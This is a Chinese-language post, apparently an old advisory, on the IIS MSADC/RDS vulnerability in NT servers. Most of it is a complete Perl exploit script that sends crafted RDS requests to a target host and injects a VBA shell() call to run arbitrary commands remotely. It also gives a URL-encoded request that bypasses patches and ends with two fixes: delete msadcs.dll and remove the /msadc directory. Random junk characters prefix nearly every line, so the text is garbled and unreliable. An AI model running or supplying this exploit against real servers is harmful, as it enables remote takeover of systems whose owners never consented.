IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
D7 8) 4>X !H2C9l:rd 涉及程序：
EuhF$L1 Microsoft NT server
2n<qAl$t !&W"f#_Z 描述：
Yqq$ kln 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
QSlf=VK*y K*hf(w9="% 详细：
"a 2H 8x 如果你没有时间读详细内容的话，就删除:
_p3WE9T c:\Program Files\Common Files\System\Msadc\msadcs.dll
cx,u2~43A& 有关的安全问题就没有了。
% t,1_c0w %a%+!wX0x 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
I_{9eG1w? } [YcilU_ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Cf8R2(-4 关于利用ODBC远程漏洞的描述，请参看:
lk5_s@V
l $\ =6."R5< http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm w+:+r/!g #)Id J] 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
f?oI'5R41 http://www.microsoft.com/security/bulletins/MS99-025faq.asp B$iMU?B3 9}7oKlyk 这里不再论述。
*R1d4|/G cHfK- R 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
]}*G[[
^p +LvZ87O^~ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
SV$A Ss 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
< :S?t2C r)*_,Fo| 3@#,i<ge : #将下面这段保存为txt文件，然后: "perl -x 文件名"
-0[>} !l=G n~L ' icD[ #!perl
[xH2n\7 #
IW SEssP # MSADC/RDS 'usage' (aka exploit) script
m "k i*9] #
5wVi{P5+ # by rain.forest.puppy
# oS #
-F~9f> # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Q'vIeG "o # beta test and find errors!
G/^5P5y%@ k/6G j}l'o use Socket; use Getopt::Std;
FL*w( Br. getopts("e:vd:h:XR", \%args);
uvAy#, QyBK*uNdV print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
D(2kb =h1 QN if (!defined $args{h} && !defined $args{R}) {
WHh2fN'A5 print qq~
UBpM8 /U Usage: msadc.pl -h <host> { -d <delay> -X -v }
(,Zz&3
AV -h <host> = host you want to scan (ip or domain)
1[,#@!k@ -d <seconds> = delay between calls, default 1 second
R _~m\P -X = dump Index Server path table, if available
YQw/[ -v = verbose
LP-KD -e = external dictionary file for step 5
(*@~HF,t= HEW9YC" Or a -R will resume a command session
VA*79I#_q 7~k~S>sO ~; exit;}
pu
m9x)y1 Q{)F $]w $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
bl QzVp- if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
:7AauoI if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
mqfEs0~I if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
=iQ`F$ M $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
=FC;d[U if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^5iY/t~Q IDVY2`sM if (!defined $args{R}){ $ret = &has_msadc;
H;"N|pBy die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
#h|,GvmF<b lQ(BEv"2G[ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
-n$rKEC4 . "cmd /c ";
y*TNJJ| $in=<STDIN>; chomp $in;
Z!BQtIC s $command="cmd /c " . $in ;
k kuQ"^<J r 5 $?4t if (defined $args{R}) {&load; exit;}
/ A`zy QK/+*hr; print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
#+5mpDh
&try_btcustmr;
\Q
BpgMi( g {f >j d print "\nStep 2: Trying to make our own DSN...";
6d?2{_} , &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Z6
|'k:R8 qS`|=5f print "\nStep 3: Trying known DSNs...";
`0i}}Zo &known_dsn;
oew]ijnB ;),O*Z |"v print "\nStep 4: Trying known .mdbs...";
M%dl?9pbq &known_mdb;
3[g++B."pC eDMwY$J
if (defined $args{e}){
jn3|9x print "\nStep 5: Trying dictionary of DSN names...";
f ;;
S &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
! B38!
L "oGM> @q=B print "Sorry Charley...maybe next time?\n";
r :\ 5/0( exit;
mQ
`r`DW frO/
nx|9 ##############################################################################
q .K$b JnK bd ~ sub sendraw { # ripped and modded from whisker
GeW$lA I sleep($delay); # it's a DoS on the server! At least on mine...
c#-97"_8 my ($pstr)=@_;
d"$oV~>P| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
9tW .}5V die("Socket problems\n");
#K~j9DuR if(connect(S,pack "SnA4x8",2,80,$target)){
X QoT},C select(S); $|=1;
?9h o| print $pstr; my @in=<S>;
NCh(-E select(STDOUT); close(S);
XIW: Nk!S return @in;
&+|4(d1 } else { die("Can't connect...\n"); }}
b5,}w: y5t Ap ##############################################################################
&JQ @(w %<o$
J ~l~ sub make_header { # make the HTTP request
'f<_SKd my $msadc=<<EOT
,f" "|X5 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
[LE h User-Agent: ACTIVEDATA
Hbj:CViYq Host: $ip
2*;Y%NcP [ Content-Length: $clen
^cXL4*_= Connection: Keep-Alive
blkJm9]v &@Gu~) ^( ADCClientVersion:01.06
m.g@S30 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
v pw&"?T "+ J wS --!ADM!ROX!YOUR!WORLD!
5x'y{S< Content-Type: application/x-varg
9%k.GE
Content-Length: $reqlen
OU5|m%CmO P!&CH4+ EOT
:^L]Da3 ; $msadc=~s/\n/\r\n/g;
S G o:FG return $msadc;}
u T t:/gm 8q LgB
##############################################################################
_+Kt=;Y8 2 g8P$+;
sub make_req { # make the RDS request
$%"}N _M my ($switch, $p1, $p2)=@_;
N5_.m(: my $req=""; my $t1, $t2, $query, $dsn;
6&Ir0K / Tsp-] -) if ($switch==1){ # this is the btcustmr.mdb query
}EG(!)u $query="Select * from Customers where City=" . make_shell();
p5rRhu/|k3 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
%YAiSSsV $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
\ @t5S "$V2 $ elsif ($switch==2){ # this is general make table query
MOeLphY $query="create table AZZ (B int, C varchar(10))";
hd
BC ^n $dsn="$p1";}
e*Med)tc^$ wef^o"aP elsif ($switch==3){ # this is general exploit table query
NS~knR\& $query="select * from AZZ where C=" . make_shell();
;l4 \^E1 $dsn="$p1";}
9{#|sABGD 'i-O elsif ($switch==4){ # attempt to hork file info from index server
T@WMT,J6j $query="select path from scope()";
D}U<7=\3H $dsn="Provider=MSIDXS;";}
YGmdiY:;1 Bj[/ tQ elsif ($switch==5){ # bad query
6(^9D_"@ $query="select";
w1G .^ $dsn="$p1";}
d iL l>z vj$ 6 $t1= make_unicode($query);
A)\DPLAG $t2= make_unicode($dsn);
0qUap*fvC $req = "\x02\x00\x03\x00";
D8{H Ov;d^ $req.= "\x08\x00" . pack ("S1", length($t1));
W)~.o/; $req.= "\x00\x00" . $t1 ;
%$KO]
$req.= "\x08\x00" . pack ("S1", length($t2));
A>2p/iMc $req.= "\x00\x00" . $t2 ;
JU.%;e7 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
z$5C(! ) return $req;}
L2$ L .@ D*Q#G/TF3 ##############################################################################
/8HO7E+5 ~8{3Fc 0 sub make_shell { # this makes the shell() statement
bD-Em#> return "'|shell(\"$command\")|'";}
'vIkA= [ LDzR7vnf ##############################################################################
LkB!:+v |B .4(f0RG sub make_unicode { # quick little function to convert to unicode
xJGeIh5 my ($in)=@_; my $out;
s@iCfX U for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
nv{4
U}&P return $out;}
x7@HPf ?zu{&aOX| ##############################################################################
qE:DJy < a$O]'}]` sub rdo_success { # checks for RDO return success (this is kludge)
"A+F&C> my (@in) = @_; my $base=content_start(@in);
EC&,0i4n: if($in[$base]=~/multipart\/mixed/){
%.U{):lNx return 1 if( $in[$base+10]=~/^\x09\x00/ );}
{3Wc<&D
C1 return 0;}
X5<.%@Z 93DB ZqN ##############################################################################
B '/ >Ax& 0.0!5D[ sub make_dsn { # this makes a DSN for us
f~9Y1|6 my @drives=("c","d","e","f");
Vatt9 print "\nMaking DSN: ";
BF!zfX?n foreach $drive (@drives) {
(W!$6+GT print "$drive: ";
Dd O ' my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
m huaXbr "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
P tOnj)Q . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
KHN
,SB $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.Y.#
d7TA return 0 if $2 eq "404"; # not found/doesn't exist
Z?mg1 ;Q if($2 eq "200") {
;BVhkW A foreach $line (@results) {
p2(_YN;s return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
9-6_:N> } return 0;}
y*(j{0yd n82Q.M- H ##############################################################################
`%p6i|
_Q V~Lq, oth sub verify_exists {
sR .j~R my ($page)=@_;
TMsoQ82 my @results=sendraw("GET $page HTTP/1.0\n\n");
#Q7$I.O] return $results[0];}
sdD[`# oy: MM ##############################################################################
2&URIQg*J ?Fpl.t~ sub try_btcustmr {
18`%WUPnT my @drives=("c","d","e","f");
j}l8k@f my @dirs=("winnt","winnt35","winnt351","win","windows");
3>Snd9Q ;~1JbP foreach $dir (@dirs) {
F
k;su,]_ print "$dir -> "; # fun status so you can see progress
- 5.%{Go$[ foreach $drive (@drives) {
|hoZ : print "$drive: "; # ditto
qT @IY)e $reqlen=length( make_req(1,$drive,$dir) ) - 28;
f tDV 3If $reqlenlen=length( "$reqlen" );
q:^Cw8 $clen= 206 + $reqlenlen + $reqlen;
>IjLFM+ U Ghc0{M< my @results=sendraw(make_header() . make_req(1,$drive,$dir));
![^h<Om if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Jo <6M' else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
0g-ESf``{n q(Q9FonU ##############################################################################
+r_[Tj|Er ,+.#
eg sub odbc_error {
FG:BRS<m~ my (@in)=@_; my $base;
$uh DBmb my $base = content_start(@in);
koZp~W- if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
p04+" $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
aM!# $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
G -
WJlu $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{E|gV9g return $in[$base+4].$in[$base+5].$in[$base+6];}
!k9h6/ b6 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
2 s% M,Nb print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
O %e.u>=4% $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
C|LQYz-{ 2z3A"HrlA ##############################################################################
f*Js= hvO _9r{W65s sub verbose {
#5 7z-x[1 my ($in)=@_;
D[M ?27 return if !$verbose;
H>6; I print STDOUT "\n$in\n";}
>~~\==". G. TX1 ##############################################################################
f4}6 $>) "@$STptkc sub save {
?UDO%`X my ($p1, $p2, $p3, $p4)=@_;
#" -^;Z open(OUT, ">rds.save") || print "Problem saving parameters...\n";
':4pH#E print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
ypo=y/! close OUT;}
*`T &Dlt'8 H_nJST<v` ##############################################################################
G[ j79o BwD 1}1jp sub load {
^/vWK\- my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
3=7 h+ZgB open(IN,"<rds.save") || die("Couldn't open rds.save\n");
krc!BK`V @p=<IN>; close(IN);
(=V[tI+Ngt $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
[)n}!5fE $target= inet_aton($ip) || die("inet_aton problems");
c@M@t0WT[ print "Resuming to $ip ...";
wkA! Jv% $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
ZRGZ'+hw if($p[1]==1) {
7!w nx. $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
# HYkzjb $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
zAJUL my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
3HR]T Q%r if (rdo_success(@results)){print "Success!\n";}
+Ob#3PRy else { print "failed\n"; verbose(odbc_error(@results));}}
);H[lKy elsif ($p[1]==3){
4+,Z'J%\[7 if(run_query("$p[3]")){
#SNI
dc>9\ print "Success!\n";} else { print "failed\n"; }}
Fg_s'G,` elsif ($p[1]==4){
l}c2l' if(run_query($drvst . "$p[3]")){
m Xj Ljgc} print "Success!\n"; } else { print "failed\n"; }}
q.{/{9 exit;}
/j@ `aG(a !5t 3Y ##############################################################################
tdF[2@?+ F:GKnbY sub create_table {
~la04wR28 my ($in)=@_;
:Xh`.*{EX $reqlen=length( make_req(2,$in,"") ) - 28;
QC,( rB $reqlenlen=length( "$reqlen" );
5V8C+k) $clen= 206 + $reqlenlen + $reqlen;
:9#{p^:o my @results=sendraw(make_header() . make_req(2,$in,""));
l?_!eA return 1 if rdo_success(@results);
/+O8A} my $temp= odbc_error(@results); verbose($temp);
15DK \_; return 1 if $temp=~/Table 'AZZ' already exists/;
Hd`p_?3] return 0;}
w{x(YVS H /,$ \H ##############################################################################
^|(4j_.(e <W')
~o} sub known_dsn {
% ul{nL: # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
fhx:EZ:~ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
)0MshgM "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
})vr*[ "banner", "banners", "ads", "ADCDemo", "ADCTest");
v} ;qMceJ G<6grd5 PP foreach $dSn (@dsns) {
$50"3g!Y print ".";
}(EOQ2TI next if (!is_access("DSN=$dSn"));
z}2e;d 7 if(create_table("DSN=$dSn")){
WTs[Sud/ print "$dSn successful\n";
G11.6]?Gg if(run_query("DSN=$dSn")){
\&)W#8V print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Ltd?#HP print "Something's borked. Use verbose next time\n";}}} print "\n";}
8Flf,"a BG0M j2 ##############################################################################
v/.h %6n? &})d%*n sub is_access {
~<OjXuYu my ($in)=@_;
i/~QJ1C $reqlen=length( make_req(5,$in,"") ) - 28;
(ul-J4 E\O $reqlenlen=length( "$reqlen" );
%kFELtx $clen= 206 + $reqlenlen + $reqlen;
(H %d] my @results=sendraw(make_header() . make_req(5,$in,""));
s
Xk?.A_D my $temp= odbc_error(@results);
)pn 7DIXG verbose($temp); return 1 if ($temp=~/Microsoft Access/);
AeCG2!8^0 return 0;}
B00wcYM<1r ^|i\d \ ##############################################################################
mX.3R+t %7d@+
. sub run_query {
m&0BbyE.z my ($in)=@_;
fB,1s}3H n $reqlen=length( make_req(3,$in,"") ) - 28;
W)msaq, $reqlenlen=length( "$reqlen" );
"u8o?8+q~ $clen= 206 + $reqlenlen + $reqlen;
i)PV{3v$J my @results=sendraw(make_header() . make_req(3,$in,""));
EZumJ." return 1 if rdo_success(@results);
%g @3S!lK my $temp= odbc_error(@results); verbose($temp);
b_gN?F7_ return 0;}
m?% H<4X UAXF64w{ ##############################################################################
`p d Bd~cY/M sub known_mdb {
'S4EKV] my @drives=("c","d","e","f","g");
|iUfM3 my @dirs=("winnt","winnt35","winnt351","win","windows");
RzJ}C T my $dir, $drive, $mdb;
@))}\: my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
& Yf#O* bZay/ Zkj # this is sparse, because I don't know of many
skD k/-*R my @sysmdbs=( "\\catroot\\icatalog.mdb",
6 # x)W "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
~73i^3yf "\\system32\\certmdb.mdb",
UtBlP+bE?y "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
lH@E % K&IrTA
j} my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
jw(> @SXz "\\cfusion\\cfapps\\forums\\forums_.mdb",
Xm=^\K3 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
f,HzrHax "\\cfusion\\cfapps\\security\\realm_.mdb",
io r [v "\\cfusion\\cfapps\\security\\data\\realm.mdb",
H@2"ove-uC "\\cfusion\\database\\cfexamples.mdb",
fqk Dk "\\cfusion\\database\\cfsnippets.mdb",
h?3, B0G "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
PUjoi@] "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Ie&b <k "\\cfusion\\brighttiger\\database\\cleam.mdb",
hp]ng!I{\u "\\cfusion\\database\\smpolicy.mdb",
+fP/|A8P "\\cfusion\\database\cypress.mdb",
v;bP8)mI "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
3ES[ N.V# "\\website\\cgi-win\\dbsample.mdb",
`\F%l?aY "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Cs[7% j "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
g
y e(/N+I ); #these are just
<.=#EV^i foreach $drive (@drives) {
QTj ftcu foreach $dir (@dirs){
vMZ7uO foreach $mdb (@sysmdbs) {
L_lDFF print ".";
NBqV0>vR if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
gAr` hXO print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
|;.Pj 3)- if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
/#qs(!
d print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
<f.>jjwFE } else { print "Something's borked. Use verbose next time\n"; }}}}}
cR=94i=t = yTa,PY foreach $drive (@drives) {
x*R8^BA]pR foreach $mdb (@mdbs) {
"h;;. Y8e print ".";
( ztim if(create_table($drv . $drive . $dir . $mdb)){
=2nn "YVP print "\n" . $drive . $dir . $mdb . " successful\n";
wsJ%*
eYf if(run_query($drv . $drive . $dir . $mdb)){
#mRFU A print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
,bVS. A'o } else { print "Something's borked. Use verbose next time\n"; }}}}
xjK_zO*dLq }
TXJY2J*24 c.8((h/
##############################################################################
lsB9;I^+x )zW%\s*' sub hork_idx {
n-hvh-ZO print "\nAttempting to dump Index Server tables...\n";
Jny)u o8 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Q$fRi[/L $reqlen=length( make_req(4,"","") ) - 28;
P!FE h'. $reqlenlen=length( "$reqlen" );
kBy rhK5U $clen= 206 + $reqlenlen + $reqlen;
#6N+5Yx_[ my @results=sendraw2(make_header() . make_req(4,"",""));
AvrL9D if (rdo_success(@results)){
'wz\tT ^ my $max=@results; my $c; my %d;
o=-Vt,2{ for($c=19; $c<$max; $c++){
b\?7?g $results[$c]=~s/\x00//g;
gv#c~cX] $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
. Z*j!{@c $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
#
cN_ y $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
_)zmIB( }m $d{"$1$2"}="";}
ws>WA{]gq foreach $c (keys %d){ print "$c\n"; }
BSfm?ku" ! } else {print "Index server doesn't seem to be installed.\n"; }}
tM^; ?HL] *gd?>P7\0 ##############################################################################
2JiAd*WK ! E X?m }7 sub dsn_dict {
QY~<~<d+G open(IN, "<$args{e}") || die("Can't open external dictionary\n");
U/X|i / while(<IN>){
eP q13!FC/ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
15xd~V?ai: next if (!is_access("DSN=$dSn"));
Me gE--h if(create_table("DSN=$dSn")){
=f4[=C$&` print "$dSn successful\n";
<G~} N if(run_query("DSN=$dSn")){
&2io^A P print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
TvunjTpaj print "Something's borked. Use verbose next time\n";}}}
m"gni # print "\n"; close(IN);}
U Cn*UX h"% |\o+3 ##############################################################################
Ew
%{ i(d %XP_\lu] sub sendraw2 { # ripped and modded from whisker
D!bKm[ T sleep($delay); # it's a DoS on the server! At least on mine...
n+{HNr my ($pstr)=@_;
~K~b`|1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
L$+d.=] die("Socket problems\n");
K\{b!Cfr^ if(connect(S,pack "SnA4x8",2,80,$target)){
<+AI t print "Connected. Getting data";
N5 SLF4R1 open(OUT,">raw.out"); my @in;
>~I
xyQp select(S); $|=1; print $pstr;
bJQ5- *F while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
AT B\^;n. close(OUT); select(STDOUT); close(S); return @in;
Iv$:`7|crX } else { die("Can't connect...\n"); }}
q&XCX$N M.ZEqV+k ##############################################################################
jWH{;V&ZV f^W[; w sub content_start { # this will take in the server headers
mje <d"bW my (@in)=@_; my $c;
jM5_8 nS&d for ($c=1;$c<500;$c++) {
= \~E n5 if($in[$c] =~/^\x0d\x0a/){
r0\ cc6 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
?HrK\f3wWO else { return $c+1; }}}
lLu ID return -1;} # it should never get here actually
de> ?*%< =X-^YG3x ##############################################################################
P? 9nTG \Fj5v$J- sub funky {
-VS 9`7k my (@in)=@_; my $error=odbc_error(@in);
C#MF pT if($error=~/ADO could not find the specified provider/){
M{`/f@z( print "\nServer returned an ADO miscofiguration message\nAborting.\n";
:s'o~
exit;}
q} ]'Q
- if($error=~/A Handler is required/){
j/)"QiS*? print "\nServer has custom handler filters (they most likely are patched)\n";
r<;l{7lY_ exit;}
k? 3S if($error=~/specified Handler has denied Access/){
;i<$7MR.e print "\nServer has custom handler filters (they most likely are patched)\n";
ic %?uWN exit;}}
.6> hD1' i 8l./Yt/ ##############################################################################
XB0 a dp &|v{#,ymeb sub has_msadc {
PX;Vo~6 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
weNzYMf% my $base=content_start(@results);
"pt+Fe|@c; return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
D t.0YKF return 0;}
1 6 "#i 6!P`XTTE ########################
yiiyqL*E Ne3R.g9;Z Lltc 4Mzw 解决方案：
OnZF6yfN=3 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
b,nn&B5@{ 2、移除web 目录: /msadc
